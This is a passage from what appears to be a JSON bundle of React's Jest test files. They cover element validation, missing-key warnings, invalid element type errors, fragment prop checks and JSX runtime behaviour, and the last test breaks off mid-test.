'xyz'}),\n      ),\n    );\n  });\n\n  it('warns for keys for arrays of elements in rest args', async () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.cloneElement(<div />, null, [<div />, <div />]));\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the top-level render call using <div>. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('does not warns for arrays of elements with keys', async () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(\n        React.cloneElement(<div />, null, [<div key=\"#1\" />, <div key=\"#2\" />]),\n      );\n    });\n  });\n\n  it('does not warn when the element is directly in rest args', async () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.cloneElement(<div />, null, <div />, <div />));\n    });\n  });\n\n  it('does not warn when the array contains a non-element', () => {\n    React.cloneElement(<div />, null, [{}, {}]);\n  });\n\n  it('should ignore key and ref warning getters', () => {\n    const elementA = React.createElement('div');\n    const elementB = React.cloneElement(elementA, elementA.props);\n    expect(elementB.key).toBe(null);\n    expect(elementB.ref).toBe(null);\n  });\n\n  it('should ignore undefined key and ref', () => {\n    const element = React.createElement(ComponentClass, {\n      key: '12',\n      ref: '34',\n      foo: '56',\n    });\n    const props = {\n      key: undefined,\n      ref: undefined,\n      foo: 'ef',\n    };\n    const clone = React.cloneElement(element, props);\n    expect(clone.type).toBe(ComponentClass);\n    expect(clone.key).toBe('12');\n    expect(clone.props.ref).toBe('34');\n    expect(clone.ref).toBe('34');\n    assertConsoleErrorDev([\n      'Accessing element.ref was removed in React 19. ref is now a ' +\n        'regular prop. It will be removed from the JSX Element ' +\n        'type in a future release.',\n    ]);\n    expect(clone.props).toEqual({foo: 'ef', ref: '34'});\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n  });\n\n  it('should extract null key and ref', () => {\n    const element = React.createElement(ComponentClass, {\n      key: '12',\n      ref: '34',\n      foo: '56',\n    });\n    const props = {\n      key: null,\n      ref: null,\n      foo: 'ef',\n    };\n    const clone = React.cloneElement(element, props);\n    expect(clone.type).toBe(ComponentClass);\n    expect(clone.key).toBe('null');\n    expect(clone.ref).toBe(null);\n    expect(clone.props).toEqual({foo: 'ef', ref: null});\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n  });\n\n  it('throws an error if passed null', () => {\n    const element = null;\n    expect(() => React.cloneElement(element)).toThrow(\n      'The argument must be a React element, but you passed null.',\n    );\n  });\n\n  it('throws an error if passed undefined', () => {\n    let element;\n    expect(() => React.cloneElement(element)).toThrow(\n      'The argument must be a React element, but you passed undefined.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactElementValidator-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// NOTE: We're explicitly not using JSX in this file. This is intended to test\n// classic React.createElement without JSX.\n// TODO: ^ the above note is a bit stale because there are tests in this file\n// that do use JSX syntax. We should port them to React.createElement, and also\n// confirm there's a corresponding test that uses JSX syntax.\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactElementValidator', () => {\n  let ComponentClass;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    ComponentClass = class extends React.Component {\n      render() {\n        return React.createElement('div', null, this.props.children);\n      }\n    };\n  });\n\n  it('warns for keys for arrays of elements in rest args', async () => {\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() =>\n      root.render(\n        React.createElement(ComponentClass, null, [\n          React.createElement(ComponentClass),\n          React.createElement(ComponentClass),\n        ]),\n      ),\n    );\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `ComponentClass`. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in ComponentClass (at **)',\n    ]);\n  });\n\n  it('warns for keys for arrays of elements with owner info', async () => {\n    class InnerClass extends React.Component {\n      render() {\n        return React.createElement(ComponentClass, null, this.props.childSet);\n      }\n    }\n\n    class ComponentWrapper extends React.Component {\n      render() {\n        return React.createElement(InnerClass, {\n          childSet: [\n            React.createElement(ComponentClass),\n            React.createElement(ComponentClass),\n          ],\n        });\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(React.createElement(ComponentWrapper)));\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the render method of `ComponentClass`. ' +\n        'It was passed a child from ComponentWrapper. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in ComponentWrapper (at **)',\n    ]);\n  });\n\n  it('warns for keys for arrays with no owner or parent info', async () => {\n    function Anonymous({children}) {\n      return <div>{children}</div>;\n    }\n    Object.defineProperty(Anonymous, 'name', {value: undefined});\n\n    const divs = [<div />, <div />];\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(<Anonymous>{divs}</Anonymous>));\n    assertConsoleErrorDev([\n      // For owner stacks the parent being validated is the div.\n      'Each child in a list should have a unique ' +\n        '\"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <div>. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('warns for keys for arrays of elements with no owner info', async () => {\n    const divs = [<div />, <div />];\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => root.render(<div>{divs}</div>));\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique ' +\n        '\"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <div>. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('warns for keys with component stack info', async () => {\n    function Component() {\n      return <div>{[<div />, <div />]}</div>;\n    }\n\n    function Parent(props) {\n      return React.cloneElement(props.child);\n    }\n\n    function GrandParent() {\n      return <Parent child={<Component />} />;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(<GrandParent />));\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique ' +\n        '\"key\" prop.\\n\\nCheck the render method of `Component`. See ' +\n        'https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)\\n' +\n        '    in Component (at **)\\n' +\n        '    in GrandParent (at **)',\n    ]);\n  });\n\n  it('does not warn for keys when passing children down', async () => {\n    function Wrapper(props) {\n      return (\n        <div>\n          {props.children}\n          <footer />\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() =>\n      root.render(\n        <Wrapper>\n          <span />\n          <span />\n        </Wrapper>,\n      ),\n    );\n  });\n\n  it('warns for keys for iterables of elements in rest args', async () => {\n    const iterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            const done = ++i > 2;\n            return {\n              value: done ? undefined : React.createElement(ComponentClass),\n              done: done,\n            };\n          },\n        };\n      },\n    };\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() =>\n      root.render(React.createElement(ComponentClass, null, iterable)),\n    );\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `ComponentClass`. It was passed a child from div. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in ComponentClass (at **)',\n    ]);\n  });\n\n  it('does not warns for arrays of elements with keys', () => {\n    React.createElement(ComponentClass, null, [\n      React.createElement(ComponentClass, {key: '#1'}),\n      React.createElement(ComponentClass, {key: '#2'}),\n    ]);\n  });\n\n  it('does not warns for iterable elements with keys', () => {\n    const iterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            const done = ++i > 2;\n            return {\n              value: done\n                ? undefined\n                : React.createElement(ComponentClass, {key: '#' + i}),\n              done: done,\n            };\n          },\n        };\n      },\n    };\n\n    React.createElement(ComponentClass, null, iterable);\n  });\n\n  it('does not warn when the element is directly in rest args', () => {\n    React.createElement(\n      ComponentClass,\n      null,\n      React.createElement(ComponentClass),\n      React.createElement(ComponentClass),\n    );\n  });\n\n  it('does not warn when the array contains a non-element', () => {\n    React.createElement(ComponentClass, null, [{}, {}]);\n  });\n\n  it('should give context for errors in nested components.', async () => {\n    function MyComp() {\n      return [React.createElement('div')];\n    }\n    function ParentComp() {\n      return React.createElement(MyComp);\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(React.createElement(ParentComp)));\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the render method of `ParentComp`. It was passed a child from MyComp. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)\\n' +\n        '    in MyComp (at **)\\n' +\n        '    in ParentComp (at **)',\n    ]);\n  });\n\n  it('gives a helpful error when passing invalid types', async () => {\n    function Foo() {}\n    const errors = [];\n    const root = ReactDOMClient.createRoot(document.createElement('div'), {\n      onUncaughtError(error) {\n        errors.push(error.message);\n      },\n    });\n    const cases = [\n      [\n        () => React.createElement(undefined),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: undefined. You likely forgot to export your ' +\n          \"component from the file it's defined in, or you might have mixed up \" +\n          'default and named imports.',\n      ],\n      [\n        () => React.createElement(null),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: null.',\n      ],\n      [\n        () => React.createElement(true),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: boolean.',\n      ],\n      [\n        () => React.createElement({x: 17}),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: object.',\n      ],\n      [\n        () => React.createElement({}),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: object. You likely forgot to export your ' +\n          \"component from the file it's defined in, or you might have mixed up \" +\n          'default and named imports.',\n      ],\n      [\n        () => React.createElement(React.createElement('div')),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: <div />. Did you accidentally export a JSX literal ' +\n          'instead of a component?',\n      ],\n      [\n        () => React.createElement(React.createElement(Foo)),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: <Foo />. Did you accidentally export a JSX literal ' +\n          'instead of a component?',\n      ],\n      [\n        () =>\n          React.createElement(\n            React.createElement(React.createContext().Consumer),\n          ),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: <Context.Consumer />. Did you accidentally ' +\n          'export a JSX literal instead of a component?',\n      ],\n      [\n        () => React.createElement({$$typeof: 'non-react-thing'}),\n        'React.createElement: type is invalid -- expected a string ' +\n          '(for built-in components) or a class/function (for composite ' +\n          'components) but got: object.',\n      ],\n    ];\n    for (let i = 0; i < cases.length; i++) {\n      await act(async () => root.render(cases[i][0]()));\n    }\n\n    expect(errors).toEqual(\n      __DEV__\n        ? [\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: undefined. You likely forgot to export your ' +\n              \"component from the file it's defined in, or you might have mixed up \" +\n              'default and named imports.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: null.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: boolean.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object. You likely forgot to export your ' +\n              \"component from the file it's defined in, or you might have mixed up \" +\n              'default and named imports.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: <div />. Did you accidentally export a JSX literal ' +\n              'instead of a component?',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: <Foo />. Did you accidentally export a JSX literal ' +\n              'instead of a component?',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: <Context.Consumer />. Did you accidentally ' +\n              'export a JSX literal instead of a component?',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n          ]\n        : [\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: undefined.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: null.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: boolean.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n            'Element type is invalid: expected a string ' +\n              '(for built-in components) or a class/function (for composite ' +\n              'components) but got: object.',\n          ],\n    );\n\n    // Should not log any additional warnings\n    React.createElement('div');\n  });\n\n  it('includes the owner name when passing null, undefined, boolean, or number', async () => {\n    function ParentComp() {\n      return React.createElement(null);\n    }\n\n    await expect(async () => {\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => root.render(React.createElement(ParentComp)));\n    }).rejects.toThrowError(\n      'Element type is invalid: expected a string (for built-in components) ' +\n        'or a class/function (for composite components) but got: null.' +\n        (__DEV__ ? '\\n\\nCheck the render method of `ParentComp`.' : ''),\n    );\n  });\n\n  it('warns for fragments with illegal attributes', async () => {\n    class Foo extends React.Component {\n      render() {\n        return React.createElement(React.Fragment, {a: 1}, '123');\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(React.createElement(Foo)));\n    assertConsoleErrorDev([\n      gate('enableFragmentRefs')\n        ? 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n          'can only have `key`, `ref`, and `children` props.\\n' +\n          '    in Foo (at **)'\n        : 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n          'can only have `key` and `children` props.\\n' +\n          '    in Foo (at **)',\n    ]);\n  });\n\n  it('does not warn when using DOM node as children', async () => {\n    class DOMContainer extends React.Component {\n      ref;\n      render() {\n        return <div ref={n => (this.ref = n)} />;\n      }\n      componentDidMount() {\n        this.ref.appendChild(this.props.children);\n      }\n    }\n\n    const node = document.createElement('div');\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      // This shouldn't cause a stack overflow or any other problems (#3883)\n      root.render(<DOMContainer>{node}</DOMContainer>);\n    });\n  });\n\n  it('should not enumerate enumerable numbers (#4776)', () => {\n    /*eslint-disable no-extend-native */\n    Number.prototype['@@iterator'] = function () {\n      throw new Error('number iterator called');\n    };\n    /*eslint-enable no-extend-native */\n\n    try {\n      void (\n        <div>\n          {5}\n          {12}\n          {13}\n        </div>\n      );\n    } finally {\n      delete Number.prototype['@@iterator'];\n    }\n  });\n\n  it('does not blow up with inlined children', () => {\n    // We don't suggest this since it silences all sorts of warnings, but we\n    // shouldn't blow up either.\n\n    const child = {\n      $$typeof: (<div />).$$typeof,\n      type: 'span',\n      key: null,\n      ref: null,\n      props: {},\n      _owner: null,\n    };\n\n    void (<div>{[child]}</div>);\n  });\n\n  it('does not blow up on key warning with undefined type', () => {\n    const Foo = undefined;\n    void (<Foo>{[<div />]}</Foo>);\n  });\n\n  it('does not call lazy initializers eagerly', () => {\n    let didCall = false;\n    const Lazy = React.lazy(() => {\n      didCall = true;\n      return {then() {}};\n    });\n    React.createElement(Lazy);\n    expect(didCall).toBe(false);\n  });\n\n  it('__self and __source are treated as normal props', async () => {\n    // These used to be reserved props because the classic React.createElement\n    // runtime passed this data as props, whereas the jsxDEV() runtime passes\n    // them as separate arguments.\n    function Child({__self, __source}) {\n      return __self + __source;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    // NOTE: The Babel transform treats the presence of these props as a syntax\n    // error but theoretically it doesn't have to. Using spread here to\n    // circumvent the syntax error and demonstrate that the runtime\n    // doesn't care.\n    const props = {\n      __self: 'Hello ',\n      __source: 'world!',\n    };\n    await act(() => root.render(<Child {...props} />));\n    expect(container.textContent).toBe('Hello world!');\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactJSXElementValidator-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// TODO: All these warnings should become static errors using Flow instead\n// of dynamic errors when using JSX with Flow.\nlet act;\nlet React;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\n\ndescribe('ReactJSXElementValidator', () => {\n  let Component;\n  let RequiredPropComponent;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    Component = class extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    };\n\n    RequiredPropComponent = class extends React.Component {\n      render() {\n        return <span>{this.props.prop}</span>;\n      }\n    };\n    RequiredPropComponent.displayName = 'RequiredPropComponent';\n  });\n\n  it('warns for keys for arrays of elements in children position', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component>{[<Component />, <Component />]}</Component>);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `Component`. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('warns for keys for arrays of elements with owner info', async () => {\n    class InnerComponent extends React.Component {\n      render() {\n        return <Component>{this.props.childSet}</Component>;\n      }\n    }\n\n    class ComponentWrapper extends React.Component {\n      render() {\n        return <InnerComponent childSet={[<Component />, <Component />]} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ComponentWrapper />);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the render method of `Component`. ' +\n        'It was passed a child from ComponentWrapper. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in ComponentWrapper (at **)',\n    ]);\n  });\n\n  it('warns for keys for iterables of elements in rest args', async () => {\n    const iterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            const done = ++i > 2;\n            return {value: done ? undefined : <Component />, done: done};\n          },\n        };\n      },\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component>{iterable}</Component>);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `Component`. It was passed a child from div. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('does not warn for arrays of elements with keys', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <Component>\n          {[<Component key=\"#1\" />, <Component key=\"#2\" />]}\n        </Component>,\n      );\n    });\n  });\n\n  it('does not warn for iterable elements with keys', async () => {\n    const iterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            const done = ++i > 2;\n            return {\n              value: done ? undefined : <Component key={'#' + i} />,\n              done: done,\n            };\n          },\n        };\n      },\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Component>{iterable}</Component>);\n    });\n  });\n\n  it('does not warn for numeric keys in entry iterable as a child', async () => {\n    const iterable = {\n      '@@iterator': function () {\n        let i = 0;\n        return {\n          next: function () {\n            const done = ++i > 2;\n            return {value: done ? undefined : [i, <Component />], done: done};\n          },\n        };\n      },\n    };\n    iterable.entries = iterable['@@iterator'];\n\n    // This only applies to the warning during construction.\n    // We do warn if it's actually rendered.\n    <Component>{iterable}</Component>;\n  });\n\n  it('does not warn when the element is directly as children', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Component>\n          <Component />\n          <Component />\n        </Component>,\n      );\n    });\n  });\n\n  it('does not warn when the child array contains non-elements', () => {\n    void (<Component>{[{}, {}]}</Component>);\n  });\n\n  it('should give context for errors in nested components.', async () => {\n    class MyComp extends React.Component {\n      render() {\n        return [<div />];\n      }\n    }\n    class ParentComp extends React.Component {\n      render() {\n        return <MyComp />;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ParentComp />);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the render method of `ParentComp`. It was passed a child from MyComp. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)\\n' +\n        '    in MyComp (at **)\\n' +\n        '    in ParentComp (at **)',\n    ]);\n  });\n\n  it('warns for fragments with illegal attributes', async () => {\n    class Foo extends React.Component {\n      render() {\n        return <React.Fragment a={1}>hello</React.Fragment>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      gate('enableFragmentRefs')\n        ? 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n          'can only have `key`, `ref`, and `children` props.\\n' +\n          '    in Foo (at **)'\n        : 'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n          'can only have `key` and `children` props.\\n' +\n          '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns for fragments with refs', async () => {\n    class Foo extends React.Component {\n      render() {\n        return (\n          <React.Fragment\n            ref={bar => {\n              this.foo = bar;\n            }}>\n            hello\n          </React.Fragment>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertConsoleErrorDev(\n      gate('enableFragmentRefs')\n        ? []\n        : [\n            'Invalid prop `ref` supplied to `React.Fragment`.' +\n              ' React.Fragment can only have `key` and `children` props.\\n' +\n              '    in Foo (at **)',\n          ],\n    );\n  });\n\n  it('does not warn for fragments of multiple elements without keys', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <>\n          <span>1</span>\n          <span>2</span>\n        </>,\n      );\n    });\n  });\n\n  it('warns for fragments of multiple elements with same key', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <>\n          <span key=\"a\">1</span>\n          <span key=\"a\">2</span>\n          <span key=\"b\">3</span>\n        </>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Encountered two children with the same key, `a`. ' +\n        'Keys should be unique so that components maintain their identity across updates. ' +\n        'Non-unique keys may cause children to be duplicated and/or omitted — ' +\n        'the behavior is unsupported and could change in a future version.\\n' +\n        '    in span (at **)',\n    ]);\n  });\n\n  it('does not call lazy initializers eagerly', () => {\n    let didCall = false;\n    const Lazy = React.lazy(() => {\n      didCall = true;\n      return {then() {}};\n    });\n    <Lazy />;\n    expect(didCall).toBe(false);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactJSXRuntime-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet JSXRuntime;\nlet JSXDEVRuntime;\nlet act;\nlet assertConsoleErrorDev;\n\n// NOTE: Prefer to call the JSXRuntime directly in these tests so we can be\n// certain that we are testing the runtime behavior, as opposed to the Babel\n// transform that we use in our tests configuration.\ndescribe('ReactJSXRuntime', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    JSXRuntime = require('react/jsx-runtime');\n    JSXDEVRuntime = require('react/jsx-dev-runtime');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('allows static methods to be called using the type property', () => {\n    class StaticMethodComponentClass extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {});\n      }\n    }\n    StaticMethodComponentClass.someStaticMethod = () => 'someReturnValue';\n\n    const element = JSXRuntime.jsx(StaticMethodComponentClass, {});\n    expect(element.type.someStaticMethod()).toBe('someReturnValue');\n  });\n\n  it('is indistinguishable from a plain object', () => {\n    const element = JSXRuntime.jsx('div', {className: 'foo'});\n    const object = {};\n    expect(element.constructor).toBe(object.constructor);\n  });\n\n  it('should use default prop value when removing a prop', async () => {\n    class Component extends React.Component {\n      render() {\n        return JSXRuntime.jsx('span', {children: [this.props.fruit]});\n      }\n    }\n    Component.defaultProps = {fruit: 'persimmon'};\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Component, {fruit: 'mango'}));\n    });\n    expect(container.firstChild.textContent).toBe('mango');\n\n    await act(() => {\n      root.render(JSXRuntime.jsx(Component, {}));\n    });\n    expect(container.firstChild.textContent).toBe('persimmon');\n  });\n\n  it('should normalize props with default values', async () => {\n    class Component extends React.Component {\n      render() {\n        return JSXRuntime.jsx('span', {children: this.props.prop});\n      }\n    }\n    Component.defaultProps = {prop: 'testKey'};\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(\n        JSXRuntime.jsx(Component, {ref: current => (instance = current)}),\n      );\n    });\n\n    expect(instance.props.prop).toBe('testKey');\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    let inst2;\n    await act(() => {\n      root.render(\n        JSXRuntime.jsx(Component, {\n          prop: null,\n          ref: current => (inst2 = current),\n        }),\n      );\n    });\n\n    expect(inst2.props.prop).toBe(null);\n  });\n\n  it('throws when changing a prop (in dev) after element creation', async () => {\n    class Outer extends React.Component {\n      render() {\n        const el = JSXRuntime.jsx('div', {className: 'moo'});\n\n        if (__DEV__) {\n          expect(function () {\n            el.props.className = 'quack';\n          }).toThrow();\n          expect(el.props.className).toBe('moo');\n        } else {\n          el.props.className = 'quack';\n          expect(el.props.className).toBe('quack');\n        }\n\n        return el;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Outer, {color: 'orange'}));\n    });\n\n    const outer = container.firstChild;\n    if (__DEV__) {\n      expect(outer.className).toBe('moo');\n    } else {\n      expect(outer.className).toBe('quack');\n    }\n  });\n\n  it('throws when adding a prop (in dev) after element creation', async () => {\n    const container = document.createElement('div');\n    class Outer extends React.Component {\n      render() {\n        const el = JSXRuntime.jsx('div', {children: this.props.sound});\n\n        if (__DEV__) {\n          expect(function () {\n            el.props.className = 'quack';\n          }).toThrow();\n          expect(el.props.className).toBe(undefined);\n        } else {\n          el.props.className = 'quack';\n          expect(el.props.className).toBe('quack');\n        }\n\n        return el;\n      }\n    }\n    Outer.defaultProps = {sound: 'meow'};\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Outer, {}));\n    });\n    expect(container.firstChild.textContent).toBe('meow');\n    if (__DEV__) {\n      expect(container.firstChild.className).toBe('');\n    } else {\n      expect(container.firstChild.className).toBe('quack');\n    }\n  });\n\n  it('does not warn for NaN props', async () => {\n    class Test extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {});\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let test;\n    await act(() => {\n      root.render(\n        JSXRuntime.jsx(Test, {\n          value: +undefined,\n          ref: current => (test = current),\n        }),\n      );\n    });\n\n    expect(test.props.value).toBeNaN();\n  });\n\n  it('should warn when `key` is being accessed on composite element', async () => {\n    const container = document.createElement('div');\n    class Child extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {children: this.props.key});\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return JSXRuntime.jsxs('div', {\n          children: [\n            JSXRuntime.jsx(Child, {}, '0'),\n            JSXRuntime.jsx(Child, {}, '1'),\n            JSXRuntime.jsx(Child, {}, '2'),\n          ],\n        });\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Parent, {}));\n    